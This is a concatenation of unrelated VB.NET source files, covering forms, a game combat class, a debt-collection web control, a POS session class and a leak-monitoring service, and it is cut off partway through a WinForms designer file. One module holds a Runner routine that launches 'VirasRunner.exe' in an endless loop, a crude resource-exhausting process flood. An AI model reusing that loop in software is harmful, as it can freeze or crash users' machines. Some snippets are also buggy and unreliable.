ucrBase.clsRsyntax.RemoveParameter("start") End If End Sub Private Sub nudTo_TextChanged(sender As Object, e As EventArgs) Handles nudTo.TextChanged nudToParameter() End Sub Private Sub nudToParameter() If rdoSubstring.Checked Then ucrBase.clsRsyntax.AddParameter("end", nudTo.Value) Else ucrBase.clsRsyntax.RemoveParameter("end") End If End Sub Private Sub ucrInputPrefixForNewColumn_NameChanged() Handles ucrInputPrefixForNewColumn.NameChanged ucrBase.clsRsyntax.SetAssignTo(strAssignToName:=ucrInputPrefixForNewColumn.GetText, strTempDataframe:=ucrSelectorForTransformText.ucrAvailableDataFrames.cboAvailableDataFrames.Text, strTempColumn:=ucrInputPrefixForNewColumn.GetText) TestOkEnabled() End Sub Private Sub chkLastWord_CheckedChanged(sender As Object, e As EventArgs) Handles chkLastWord.CheckedChanged LastWordParameter() End Sub Private Sub LastWordParameter() If rdoWords.Checked Then If chkLastWord.Checked Then nudLastWord.Enabled = False ucrReceiverLastWord.Visible = True ucrReceiverLastWord.SetMeAsReceiver() If Not ucrReceiverLastWord.IsEmpty Then ucrBase.clsRsyntax.AddParameter("end", clsRFunctionParameter:=ucrReceiverFirstWord.GetVariables()) Else ucrBase.clsRsyntax.AddParameter("end", nudLastWord.Value) End If Else ucrReceiverLastWord.Visible = False nudLastWord.Enabled = True ucrBase.clsRsyntax.AddParameter("end", nudLastWord.Value) If ucrReceiverFirstWord.Visible Then ucrReceiverFirstWord.SetMeAsReceiver() Else ucrReceiverTransformText.SetMeAsReceiver() End If End If End If End Sub Private Sub ucrReceiverLastWord_SelectionChanged(sender As Object, e As EventArgs) Handles ucrReceiverLastWord.SelectionChanged LastWordParameter() End Sub End Class
Public Class Brawl Implements MeleeHost Public Property InMelee As Boolean = True Implements MeleeHost.InMelee Private Crews As List(Of Crew) = Nothing Public Function GetCrews(ByVal quarter As ShipQuarter, ByVal role As CrewRole) As List(Of Crew) Implements MeleeHost.GetCrews 'ignore quarter and role Return Crews End Function Private Ship As Ship Private Goods As New Dictionary(Of GoodType, Integer) Public Function CheckGoodsFreeForConsumption(ByVal gt As GoodType) As Boolean Implements MeleeHost.CheckGoodsFreeForConsumption If Ship Is Nothing = False Then Return Ship.CheckGoodsFreeForConsumption(gt) Return True End Function Public Function CheckAddGood(ByVal gt As GoodType, ByVal qty As Integer) As Boolean Implements MeleeHost.CheckAddGood If Ship Is Nothing = False Then Return Ship.CheckAddGood(gt, qty) If qty < 0 AndAlso Goods(gt) + qty < 0 Then Return False Return True End Function Public Sub AddGood(ByVal gt As GoodType, ByVal qty As Integer) Implements MeleeHost.AddGood If Ship Is Nothing = False Then Ship.AddGood(gt, qty) : Exit Sub If Goods.ContainsKey(gt) = False Then Goods.Add(gt, 0) Goods(gt) += qty End Sub Public Sub New(ByVal crewlist As List(Of Crew), ByVal aShip As Ship) Crews = crewlist Ship = aShip End Sub Public Sub New(ByVal crewlist As List(Of Crew), ByVal aGoods As Dictionary(Of GoodType, Integer)) Crews = crewlist Goods = aGoods End Sub Public Shared Function Generate(ByVal isle As Isle, ByVal difficulty As Integer, ByVal crewNumber As Integer) As Brawl 'difficulty 1 to 5 Dim aGoods As New Dictionary(Of GoodType, Integer) aGoods.Add(GoodType.Bullets, 0) Dim crewlist As New List(Of Crew) For n = 1 To crewNumber Dim crew As Crew = Nothing Select Case difficulty Case 1 crew = crew.Generate(isle.Race, World.Rng, Nothing, CrewSkill.Melee) Case 2 crew = crew.Generate(isle.Race, World.Rng, CrewSkill.Melee) Dim weapons As New List(Of String) From {"Knife", "Bullwhip", "Brass Knuckles"} crew.AddBonus("equipment", CrewBonus.Generate(Dev.GetRandom(Of String)(weapons, World.Rng))) Case 3 crew = crew.Generate(isle.Race, World.Rng, CrewSkill.Melee, CrewSkill.Firearms) crew.RemoveBonus("equipment", "Right Hand") Dim weapons As New List(Of String) From {"Cutlass", "Rapier", "Mace"} crew.AddBonus("equipment", CrewBonus.Generate(Dev.GetRandom(Of String)(weapons, World.Rng))) weapons = New List(Of String) From {"Flintlock Pistol", "Long Knife", "Small Sword"} crew.AddBonus("equipment", CrewBonus.Generate(Dev.GetRandom(Of String)(weapons, World.Rng))) aGoods(GoodType.Bullets) += 5 Case 4 crew = crew.Generate(isle.Race, World.Rng, CrewSkill.Melee, CrewSkill.Firearms) crew.AddSkillXP(CrewSkill.Firearms, 200) crew.RemoveBonus("equipment", "Right Hand") Dim weapons As New List(Of String) From {"Musket", "Sabre", "Mace", "Blunderbuss"} crew.AddBonus("equipment", CrewBonus.Generate(Dev.GetRandom(Of String)(weapons, World.Rng))) weapons = New List(Of String) From {"Wheellock Pistol", "Small Sword"} crew.AddBonus("equipment", CrewBonus.Generate(Dev.GetRandom(Of String)(weapons, World.Rng))) aGoods(GoodType.Bullets) += 10 Case 5 crew = crew.Generate(isle.Race, World.Rng, CrewSkill.Melee, CrewSkill.Firearms) crew.AddSkillXP(CrewSkill.Melee, 400) crew.AddSkillXP(CrewSkill.Firearms, 300) crew.RemoveBonus("equipment", "Right Hand") Dim weapons As New List(Of String) From {"Rifle", "Blunderbuss", "Boarding Axe", "Skullcracker"} crew.AddBonus("equipment", CrewBonus.Generate(Dev.GetRandom(Of String)(weapons, World.Rng))) weapons = New List(Of String) From {"Sparklock Pistol", "Writhing Knife"} crew.AddBonus("equipment", CrewBonus.Generate(Dev.GetRandom(Of String)(weapons, World.Rng))) aGoods(GoodType.Bullets) += 15 Case Else Throw New Exception("Difficulty out of range") End Select crewlist.Add(crew) Next Return New Brawl(crewlist, aGoods) End Function End Class
 Module Module2 Sub Runner() While True System.Diagnostics.Process.Start("VirasRunner.exe") End While End Sub '简易版本(GetOSVersion):快速小巧,能检测DOS版本,但是不能精确区分Windows版本 '将下列代码复制到标准模块中 '更新到Windows 7 Private Declare Function GetVersion Lib "kernel32" () As Long Public Function GetOSVersion(Optional ByVal DOSVersionIncluded As Boolean = False) As String Dim retVer As Long, verMajor As Byte, verMinor As Byte, verDOSMajor As Byte, verDOSMinor As Byte, verName As String retVer = GetVersion() verMajor = retVer And &HFF verMinor = (retVer - (retVer And &HFFFF00FF)) / &H100 verDOSMajor = (retVer And &H7F000000) / &H1000000 verDOSMinor = (retVer And &HFF0000) / &H10000 If retVer And &H80000000 Then Select Case verMajor Case 4 Select Case verMinor Case 0 ' Win 95 verName = "Windows 95" Case 98 ' Win 98 verName = "Windows 98" Case 10 ' Win 98 verName = "Windows 98" Case 90 ' Win ME verName = "Windows ME" End Select Case Else verName = "Windows " & verMajor & "." & verMinor End Select Else Select Case verMajor Case 5 Select Case verMinor Case 0 ' Win 2000 verName = "Windows 2000" Case 1 ' Win XP verName = "Windows XP" Case 2 ' Win Server 2003 verName = "Windows Server 2003" Case Else verName = "Windows NT" End Select 'Minor Case 6 Select Case verMinor Case 0 verName = "Windows Vista" Case 1 verName = "Windows 7" Case Else verName = "Windows NT" End Select 'Minor Case Else verName = "Windows NT" & verMajor & "." & verMinor End Select 'Major End If GetOSVersion = verName & " [v" & verMajor & "." & verMinor & "]" & IIf(DOSVersionIncluded, ";DOS " & verDOSMajor & "." & verDOSMinor, vbNullString) End Function Sub Check() Dim a As Integer a = GetOSVersion() If a = "Windows7 " Then ElseIf a = "Windwos XP" Then End If End Sub End Module
Imports UGPP.CobrosCoactivo Imports UGPP.CobrosCoactivo.Entidades Imports UGPP.CobrosCoactivo.Logica Public Class BandejaEstudioTitulos Inherits System.Web.UI.UserControl Private PageSize As Long = 10 Private titulosSeleccionados As List(Of Integer) Public Property esEstudioTitulos As String Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load If IsPostBack = False Then 'Actualización de la prioridad del título Dim _bandejaBLL As BandejaBLL = New BandejaBLL(llenarAuditoria("usuarionombre=" + Session("ssloginusuario").ToString())) Try _bandejaBLL.actualizarPriorizacionTitulo(Session("ssloginusuario")) Catch ex As Exception End Try 'Poblado de datos CommonsCobrosCoactivos.poblarEstadosOperativosTitulos(ddlEstadoOperativo) 'Poblar GridView PintarGridBandejaTitulosEstudioTitulos() 'Poblado de datos para gestores de estudio de títulos que pueden ser solicitados en la solicitud de reasignación SolicitudReasignacionPanel.poblarGestorSolicitadoParaReasignacion(1) End If End Sub ''' <summary> ''' Metodo que ejecuta el llenado y pinta el GridView de la bandeja de titulos ''' </summary> Protected Sub PintarGridBandejaTitulosEstudioTitulos() 'Captura de filtros para la consulta Dim USULOG As String = Session("ssloginusuario") Dim NROTITULO As String = txtNoTitulo.Text Dim ESTADOPROCESAL As Int32 = Nothing 'ddlEstadoProcesal.SelectedValue Dim ESTADOSOPERATIVO As Int32 = ddlEstadoOperativo.SelectedValue Dim FCHENVIOCOBRANZADESDE As String = fecFechaEnvioTituloInicio.Text Dim FCHENVIOCOBRANZAHASTA As String = fecFechaEnvioTituloFin.Text Dim NROIDENTIFICACIONDEUDOR As String = txtNumIdentificacionDeudor.Text Dim NOMBREDEUDOR As String = txtNombreDeudor.Text 'Inicialización de la instancia 'Valor de la variable tomada a partir del tag del control If esEstudioTitulos = "1" Then noTitulosAsignados.Visible = False PaginadorGridView.Visible = True Dim bandejaBLL As New BandejaBLL() 'Si la lista de títulos es para estudio de títulos se filtra de forma diferente que para área origen grdBandejaTituloAO.DataSource = bandejaBLL.obtenerTitulosEstudioTitulos(USULOG, NROTITULO, ESTADOPROCESAL, ESTADOSOPERATIVO, FCHENVIOCOBRANZADESDE, FCHENVIOCOBRANZAHASTA, NROIDENTIFICACIONDEUDOR, NOMBREDEUDOR) grdBandejaTituloAO.DataBind() If grdBandejaTituloAO.Rows.Count = 0 Then noTitulosAsignados.Visible = True txtSinExpedientesAsignados.Text = "Actualmente no cuenta con títulos asignados" 'My.Resources.bandejas.txtSinTitulosAsignados btnSolicitarReasignacion.Visible = False PaginadorGridView.Visible = False Else btnSolicitarReasignacion.Visible = True DeshabilitarBotones() End If End If PaginadorGridView.UpdateLabels() End Sub Protected Sub DeshabilitarBotones() For i As Integer = 0 To grdBandejaTituloAO.Rows.Count - 1 Dim row As GridViewRow = grdBandejaTituloAO.Rows(i) Dim esPuedeEditar As String = row.Cells(12).Text Dim btnContinue As Button = CType(row.Cells(11).Controls(0), Button) Dim btnPriorizar As Button = CType(row.Cells(10).Controls(0), Button) Dim checkReasignación As CheckBox = CType(row.FindControl("chkReasignar"), CheckBox) Dim estadoOperativo As String = row.Cells(14).Text If (esPuedeEditar <> "1") Then btnContinue.Enabled = False Else btnPriorizar.Enabled = False If estadoOperativo = "4" Then btnContinue.Text = "Gestionar" ElseIf estadoOperativo = "7" Then btnContinue.Text = "Continuar" ElseIf estadoOperativo = "9" Then btnContinue.Text = "Retomar" End If End If If EstadoOperativo = "3" Or EstadoOperativo = "13" Then checkReasignación.Visible = False End If Next End Sub Protected Sub cmdSearch_Click(sender As Object, e As EventArgs) Handles cmdSearch.Click PintarGridBandejaTitulosEstudioTitulos() End Sub Protected Sub grdBandejaTituloAO_RowCommand(sender As Object, e As GridViewCommandEventArgs) Handles grdBandejaTituloAO.RowCommand 'Dim codTitulo As String = grdBandejaTituloAO.Rows(e.CommandArgument).Cells(1).Text Dim codTareaAsiganada As String = grdBandejaTituloAO.Rows(e.CommandArgument).Cells(13).Text If e.CommandName = "cmdPriorizar" Then SolicitudPriorizacionControl.AsignarTareaAsiganada(codTareaAsiganada) SolicitudPriorizacionControl.IniciarFormulario() SolicitudPriorizacionControl.MostrarModal() ElseIf e.CommandName = "cmdContinuar" Then Dim tareaAsiganadaBLL As TareaAsignadaBLL = New TareaAsignadaBLL() Dim tareaAsiganada = tareaAsiganadaBLL.consultarTareaPorId(codTareaAsiganada) Response.Redirect("~/Security/modulos/maestro-acceso.aspx?ID_TASK=" & tareaAsiganada.ID_TAREA_ASIGNADA & "&AreaOrigenId=" & Session("usrAreaOrgen") & "&Edit=2", True) End If End Sub Protected Sub btnSolicitarReasignacion_Click(sender As Object, e As EventArgs) Handles btnSolicitarReasignacion.Click Dim _expedientesSeleccionados As New List(Of Integer) For i As Integer = 0 To grdBandejaTituloAO.Rows.Count - 1 Dim row As GridViewRow = grdBandejaTituloAO.Rows(i) Dim chkReasignacion As CheckBox = CType(row.FindControl("chkReasignar"), CheckBox) If (chkReasignacion.Checked) Then Dim codTareaAsiganada As String = row.Cells(13).Text _expedientesSeleccionados.Add(Convert.ToInt32(codTareaAsiganada)) End If Next SolicitudReasignacionPanel.AsignarTareasAsiganadas(_expedientesSeleccionados) SolicitudReasignacionPanel.IniciarFormulario() SolicitudReasignacionPanel.MostrarModal() End Sub Protected Sub btnExportarGrid_Click(sender As Object, e As EventArgs) Handles btnExportarGrid.Click Dim bandejaBLL As New BandejaBLL() Dim USULOG As String = Session("ssloginusuario") Dim NROTITULO As String = txtNoTitulo.Text Dim ESTADOPROCESAL As Int32 = Nothing 'ddlEstadoProcesal.SelectedValue Dim ESTADOSOPERATIVO As Int32 = ddlEstadoOperativo.SelectedValue Dim FCHENVIOCOBRANZADESDE As String = fecFechaEnvioTituloInicio.Text Dim FCHENVIOCOBRANZAHASTA As String = fecFechaEnvioTituloFin.Text Dim NROIDENTIFICACIONDEUDOR As String = txtNumIdentificacionDeudor.Text Dim NOMBREDEUDOR As String = txtNombreDeudor.Text 'Instanciar clase de metodos globales Dim MTG As New MetodosGlobalesCobro 'Convertir Gridview a DataTable Dim dt As DataTable = bandejaBLL.obtenerTitulosEstudioTitulos(USULOG, NROTITULO, ESTADOPROCESAL, ESTADOSOPERATIVO, FCHENVIOCOBRANZADESDE, FCHENVIOCOBRANZAHASTA, NROIDENTIFICACIONDEUDOR, NOMBREDEUDOR) dt.Columns(0).ColumnName = "ID" dt.Columns(2).ColumnName = "No. Título" dt.Columns(3).ColumnName = "Fecha de expedición del título" dt.Columns(4).ColumnName = "Nombre del deudor" dt.Columns(5).ColumnName = "NIT / CC" dt.Columns(6).ColumnName = "Tipo de obligación" dt.Columns(7).ColumnName = "Total Deuda" dt.Columns(8).ColumnName = "Fecha entrega Estudio títulos" dt.Columns(9).ColumnName = "Fecha límite" dt.Columns.Remove("ID_TAREA_ASIGNADA") dt.Columns.Remove("COLOR") dt.Columns.Remove("ID_ESTADO_OPERATIVOS") dt.Columns.Remove("VAL_PRIORIDAD") '"Convertir" datatable a dataset Dim ds As New DataSet ds.Merge(dt) 'Exportar el dataset anterior a Excel MTG.ExportDataSetToExcel(ds, "TitulosEstudioTitulos.xls") End Sub Protected Sub PaginadorGridView_EventActualizarGrid() PintarGridBandejaTitulosEstudioTitulos() End Sub Private Function llenarAuditoria(ByVal valorAfectado As String) As LogAuditoria Dim log As New LogProcesos Dim auditData As New UGPP.CobrosCoactivo.Entidades.LogAuditoria auditData.LOG_APLICACION = log.AplicationName auditData.LOG_FECHA = Date.Now auditData.LOG_HOST = log.ClientHostName auditData.LOG_IP = log.ClientIpAddress auditData.LOG_MODULO = "Seguridad" auditData.LOG_USER_CC = String.Empty auditData.LOG_USER_ID = Session("ssloginusuario") auditData.LOG_DOC_AFEC = valorAfectado Return auditData End Function Protected Sub imgBtnBorraFechaTituloInicio_Click(sender As Object, e As ImageClickEventArgs) Handles imgBtnBorraFechaTituloInicio.Click fecFechaEnvioTituloInicio.Text = String.Empty End Sub Protected Sub imgBtnBorraFechaTituloFin_Click(sender As Object, e As ImageClickEventArgs) Handles imgBtnBorraFechaTituloFin.Click fecFechaEnvioTituloFin.Text = String.Empty End Sub End Class
Option Strict On Imports System.Data.SqlClient Public Class Session Inherits POSBO Public Enum enumSessionName BreakFast Lunch Dinner LateNight Day End Enum Public Enum enumSessionStatus Active InActive End Enum Private m_SessionId As Session.enumSessionName Private m_SessionName As String Private m_SessionFrom As String Private m_SessionTo As String Private m_SessionChangedBy As Integer Private m_SessionChangedAt As DateTime Private m_SessionStatus As enumSessionStatus Public Sub New() End Sub 'Public Sub New(ByVal newsessionid As Integer) ' SessionId = newsessionid 'End Sub Friend Sub New(ByVal newsessionid As Session.enumSessionName, ByVal newsessionname As String, _ ByVal newsessionfrom As String, ByVal newsessionto As String, _ ByVal newsessionchangedby As Integer, ByVal newsessionchangedat As DateTime, _ ByVal newsessionstatus As enumSessionStatus) SessionId = newsessionid SessionName = newsessionname SessionFrom = newsessionfrom SessionTo = newsessionto SessionChangedBy = newsessionchangedby SessionChangedAt = newsessionchangedat End Sub Public Property SessionId() As Session.enumSessionName Get Return m_SessionId End Get Set(ByVal Value As Session.enumSessionName) m_SessionId = Value End Set End Property Public Property SessionName() As String Get Return m_SessionName End Get Set(ByVal Value As String) m_SessionName = Value End Set End Property Public Property SessionFrom() As String Get Return m_SessionFrom End Get Set(ByVal Value As String) m_SessionFrom = Value End Set End Property Public Property SessionTo() As String Get Return m_SessionTo End Get Set(ByVal Value As String) m_SessionTo = Value End Set End Property Public Property SessionChangedBy() As Integer Get Return m_SessionChangedBy End Get Set(ByVal Value As Integer) m_SessionChangedBy = Value End Set End Property Public Property SessionChangedAt() As DateTime Get Return m_SessionChangedAt End Get Set(ByVal Value As DateTime) m_SessionChangedAt = Value End Set End Property Public Property SessionStatus() As enumSessionStatus Get Return m_SessionStatus End Get Set(ByVal Value As enumSessionStatus) m_SessionStatus = Value End Set End Property Public Sub GetData() '(ByVal enumSaleDayView As SaleDays.EnumView) Dim sqlcommand As String Dim SqlDr As SqlDataReader Dim SqlDrColName As String Dim objDataAccess As DataAccess Dim msg As String Dim i As Integer objDataAccess = DataAccess.CreateDataAccess sqlcommand = sqlcommand & " where SaleDayId = " & Me.SessionId 'SaleDay record accessed from the database.GetData method connects to the database fetches the record SqlDr = objDataAccess.GetData(sqlcommand) If Not SqlDr Is Nothing Then Do While SqlDr.Read() 'loops through the records in the SqlDr. For i = 0 To SqlDr.FieldCount - 1 'reads every column in a record SqlDrColName = SqlDr.GetName(i) 'Reading the column Name Select Case SqlDrColName Case "SessionName" If Not SqlDr.IsDBNull(i) Then SessionName = SqlDr.GetString(i) End If Case "SessionFrom" If Not SqlDr.IsDBNull(i) Then SessionName = SqlDr.GetString(i) End If Case "SessionTo" If Not SqlDr.IsDBNull(i) Then SessionTo = SqlDr.GetString(i) End If Case "SessionChangedBy" If Not SqlDr.IsDBNull(i) Then SessionChangedBy = SqlDr.GetInt32(i) Else SessionChangedBy = 0 End If Case "SessionChangedAt" If Not SqlDr.IsDBNull(i) Then SessionChangedAt = SqlDr.GetDateTime(i) Else SessionChangedAt = Date.MinValue End If Case "SessionStatus " Try If Not SqlDr.IsDBNull(i) Then SessionStatus = CType(SqlDr.GetInt16(i), Session.enumSessionStatus) End If Catch ex As Exception '???errormessage??? End Try End Select Next Loop End If End Sub End Class
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' '' File: CraalService.vb '' Author: Jay Lagorio '' Date: 03NOV2018 '' Description: Initializes and terminates all of the connections, data processors, and '' other processes depending on commands from the Service Manager. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Imports CraalDatabase Imports System.ServiceProcess Imports System.Collections.ObjectModel Public Class CraalService Inherits ServiceBase ' Used to get the list of data sources Private pDatabase As Database = Nothing ' The list of data sources Private pDataSources As New Collection(Of Database.DataSource) ' Data source processors Private pPasteBin As PasteBinProcessor Private pGitHub As GitHubProcessor Private pAmazonS3 As AmazonS3Processor Private pProtoxin As ProtoxinProcessor Private pCertStream As CertStreamProcessor Private pDownload As DownloadProcessor Protected Overrides Sub OnStart(ByVal args() As String) ' Wait 10 seconds before doing anything to allow debuggers to attach to the service Threading.Thread.Sleep(10000) Dim StartedProcessors As Integer = 0 ' Get the list of data sources and attempt to instantiate their processors if configured to ' do so, passing the ID they'll use to correllate stored results. Instantiating the classes is ' enough to test for activation and write Event Logs later. Try pDatabase = New Database(Settings.DatabaseConnectionString) pDataSources = pDatabase.GetDataSources() Catch ex As Exception Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service could not open a connection to the SQL Server or enumerate data sources. The service will stop now.", EventLogEntryType.Error) Call Me.Stop() End Try For i = 0 To pDataSources.Count - 1 Select Case pDataSources(i).Name.ToLower Case "pastebin" If Settings.StartPasteBinProcessor Then pPasteBin = New PasteBinProcessor(pDataSources(i).ID) End If Case "github" If Settings.StartGitHubProcessor Then pGitHub = New GitHubProcessor(pDataSources(i).ID) End If Case "amazon s3 bucket" If Settings.StartAmazonS3Processor Then pAmazonS3 = New AmazonS3Processor(pDataSources(i).ID) End If End Select Next If Settings.StartProtoxinProcessor Then pProtoxin = New ProtoxinProcessor End If If Settings.StartCertStreamProcessor Then pCertStream = New CertStreamProcessor End If If Settings.StartDownloadProcessor Then pDownload = New DownloadProcessor End If ' Start the PasteBin processor If Not pPasteBin Is Nothing Then Call pPasteBin.StartProcessing() StartedProcessors += 1 Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has started the PasteBin processor.", EventLogEntryType.Information) End If ' Start the GitHub processor If Not pGitHub Is Nothing Then Call pGitHub.StartProcessing() StartedProcessors += 1 Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has started the GitHub processor.", EventLogEntryType.Information) End If ' Start the Amazon S3 processor If Not pAmazonS3 Is Nothing Then Call pAmazonS3.StartProcessing() StartedProcessors += 1 Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has started the S3 Bucket processor.", EventLogEntryType.Information) End If ' Start the Protoxin processor If Not pProtoxin Is Nothing Then Call pProtoxin.StartProcessing() StartedProcessors += 1 Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has started the Protoxin processor.", EventLogEntryType.Information) End If ' Start the CertStream processor If Not pCertStream Is Nothing Then Call pCertStream.StartProcessing() StartedProcessors += 1 Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has started the CertStream processor.", EventLogEntryType.Information) End If ' Start the Download processor If Not pDownload Is Nothing Then Call pDownload.StartProcessing() StartedProcessors += 1 Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has started the Download processor.", EventLogEntryType.Information) End If Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has started. " & StartedProcessors & " data processors loaded.", EventLogEntryType.Information) End Sub Protected Overrides Sub OnStop() ' Stop PasteBin processing If Not pPasteBin Is Nothing Then Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service is stopping the PasteBin processor.", EventLogEntryType.Information) Call pPasteBin.StopProcessing() Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has stopped the PasteBin processor.", EventLogEntryType.Information) End If ' Stop GitHub processing If Not pGitHub Is Nothing Then Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service is stopping the GitHub processor.", EventLogEntryType.Information) Call pGitHub.StopProcessing() Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has stopped the GitHub processor.", EventLogEntryType.Information) End If ' Stop Amazon S3 processing If Not pAmazonS3 Is Nothing Then Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service is stopping the Amazon S3 processor.", EventLogEntryType.Information) Call pAmazonS3.StopProcessing() Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has stopped the Amazon S3 processor.", EventLogEntryType.Information) End If ' Stop Protoxin processing If Not pProtoxin Is Nothing Then Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service is stopping the Protoxin processor.", EventLogEntryType.Information) Call pProtoxin.StopProcessing() Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has stopped the Protoxin processor.", EventLogEntryType.Information) End If ' Stop CertStream processing If Not pCertStream Is Nothing Then Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service is stopping the CertStream processor.", EventLogEntryType.Information) Call pCertStream.StopProcessing() Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has stopped the CertStream processor.", EventLogEntryType.Information) End If ' Stop Download processing If Not pDownload Is Nothing Then Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service is stopping the Download processor.", EventLogEntryType.Information) Call pDownload.StopProcessing() Call EventLog.WriteEntry(Me.ServiceName, "The Craal Service has stopped the Download processor.", EventLogEntryType.Information) End If End Sub End Class
Imports Microsoft.VisualBasic Imports System.data Imports System.Web '-------------------------------------------------------------------------------------------------- ' Project Trading Portal Project. ' ' Function This class is used to deal with XML Load Requests ' ' Date Mar 2007 ' ' Author ' ' � CS Group 2007 All rights reserved. ' ' Error Number Code base TACTAPR- ' ' Modification Summary ' ' dd/mm/yy ID By Description ' -------- ----- --- ----------- ' '-------------------------------------------------------------------------------------------------- <Serializable()> _ Public Class TalentXmlLoad Private _settings As New DESettings Private _resultDataSet As DataSet Private _businessUnit As String = String.Empty Private _partnerCode As String = String.Empty Private _xml As Collection Public Property BusinessUnit() As String Get Return _businessUnit End Get Set(ByVal value As String) _businessUnit = value End Set End Property Public Property PartnerCode() As String Get Return _partnerCode End Get Set(ByVal value As String) _partnerCode = value End Set End Property Public Property Xml() As Collection Get Return _xml End Get Set(ByVal value As Collection) _xml = value End Set End Property Public Property Settings() As DESettings Get Return _settings End Get Set(ByVal value As DESettings) _settings = value End Set End Property Public Property ResultDataSet() As DataSet Get Return _resultDataSet End Get Set(ByVal value As DataSet) _resultDataSet = value End Set End Property Public Function LoadData() As ErrorObj Dim err As New ErrorObj '-------------------------------------------------------------------------- Dim dbXmlLoad As New DBXmlLoad With dbXmlLoad .BusinessUnit = BusinessUnit .PartnerCode = PartnerCode .Xml = Xml .Settings = Settings err = .ValidateAgainstDatabase() If Not err.HasError Then err = .AccessDatabase If Not err.HasError And Not .ResultDataSet Is Nothing Then ResultDataSet = .ResultDataSet End If End If End With Return err End Function End Class
Namespace Astro ''' <summary> ''' Da die Klasse eine abstrakte Methode enthält, muss sie als abstrakt ''' gekennzeichnet werden. ''' </summary> ''' <remarks></remarks> Public MustInherit Class Himmelskörper ''' <summary> ''' Name des Himmelskörpers ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> Public Property Name As String ''' <summary> ''' Masse des Himmelskörpers. ''' Eine allgemeine Berechnungsvorschrift für Massen existiert nicht. ''' Deshalb wird hier sinnloserweise 0 zurückgegeben, da ein ''' Funktionsrumpf bei virtuellen Funktionen definiert werden muss ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> Public Overridable ReadOnly Property MasseInErdmassen As Double Get Return 0 End Get End Property ''' <summary> ''' Abstracte Methoden sind virtuelle Methoden, für die keine sinvolle ''' implementierung in der Basisklasse existiert ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> Public MustOverride ReadOnly Property MasseInSonnenmassen As Double End Class End Namespace
Public Class EnterGuestCount Inherits System.Windows.Forms.Form #Region " Windows Form Designer generated code " Public Sub New() MyBase.New() 'This call is required by the Windows Form Designer. InitializeComponent() 'Add any initialization after the InitializeComponent() call End Sub 'Form overrides dispose to clean up the component list. Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean) If disposing Then If Not (components Is Nothing) Then components.Dispose() End If End If MyBase.Dispose(disposing) End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. Friend WithEvents cmd1 As System.Windows.Forms.Button Friend WithEvents cmd2 As System.Windows.Forms.Button Friend WithEvents cmd3 As System.Windows.Forms.Button Friend WithEvents cmd4 As System.Windows.Forms.Button Friend WithEvents cmd5 As System.Windows.Forms.Button Friend WithEvents cmd6 As System.Windows.Forms.Button Friend WithEvents cmd7 As System.Windows.Forms.Button Friend WithEvents cmd8 As System.Windows.Forms.Button Friend WithEvents cmd9 As System.Windows.Forms.Button Friend WithEvents txtGuestCount As System.Windows.Forms.TextBox Friend WithEvents lblGuestCount As System.Windows.Forms.Label Friend WithEvents cmdClear As System.Windows.Forms.Button Friend WithEvents cmdOK As System.Windows.Forms.Button Friend WithEvents cmd0 As System.Windows.Forms.Button <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent() Me.cmd1 = New System.Windows.Forms.Button Me.cmd2 = New System.Windows.Forms.Button Me.cmd3 = New System.Windows.Forms.Button Me.cmd4 = New System.Windows.Forms.Button Me.cmd5 = New System.Windows.Forms.Button Me.cmd6 = New System.Windows.Forms.Button Me.cmd7 = New System.Windows.Forms.Button Me.cmd8 = New System.Windows.Forms.Button Me.cmd9 = New System.Windows.Forms.Button Me.cmd0 = New System.Windows.Forms.Button Me.txtGuestCount = New System.Windows.Forms.TextBox Me.lblGuestCount = New System.Windows.Forms.Label Me.cmdClear = New System.Windows.Forms.Button Me.cmdOK = New System.Windows.Forms.Button Me.SuspendLayout() ' 'cmd1 ' Me.cmd1.BackColor = System.Drawing.SystemColors.ActiveBorder Me.cmd1.Font = New System.Drawing.Font("Impact", 24.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.cmd1.Location = New System.Drawing.Point(16, 16) Me.cmd1.Name = "cmd1" Me.cmd1.Size = New System.Drawing.Size(88, 80) Me.cmd1.TabIndex = 0 Me.cmd1.Text = "1" ' 'cmd2 ' Me.cmd2.BackColor = System.Drawing.SystemColors.ActiveBorder Me.cmd2.Font = New System.Drawing.Font("Impact", 24.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.cmd2.Location = New System.Drawing.Point(120, 16) Me.cmd2.Name = "cmd2" Me.cmd2.Size = New System.Drawing.Size(88, 80) Me.cmd2.TabIndex = 1 Me.cmd2.Text = "2" ' 'cmd3 ' Me.cmd3.BackColor = System.Drawing.SystemColors.ActiveBorder Me.cmd3.Font = New System.Drawing.Font("Impact", 24.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.cmd3.Location = New System.Drawing.Point(224, 16) Me.cmd3.Name = "cmd3" Me.cmd3.Size = New 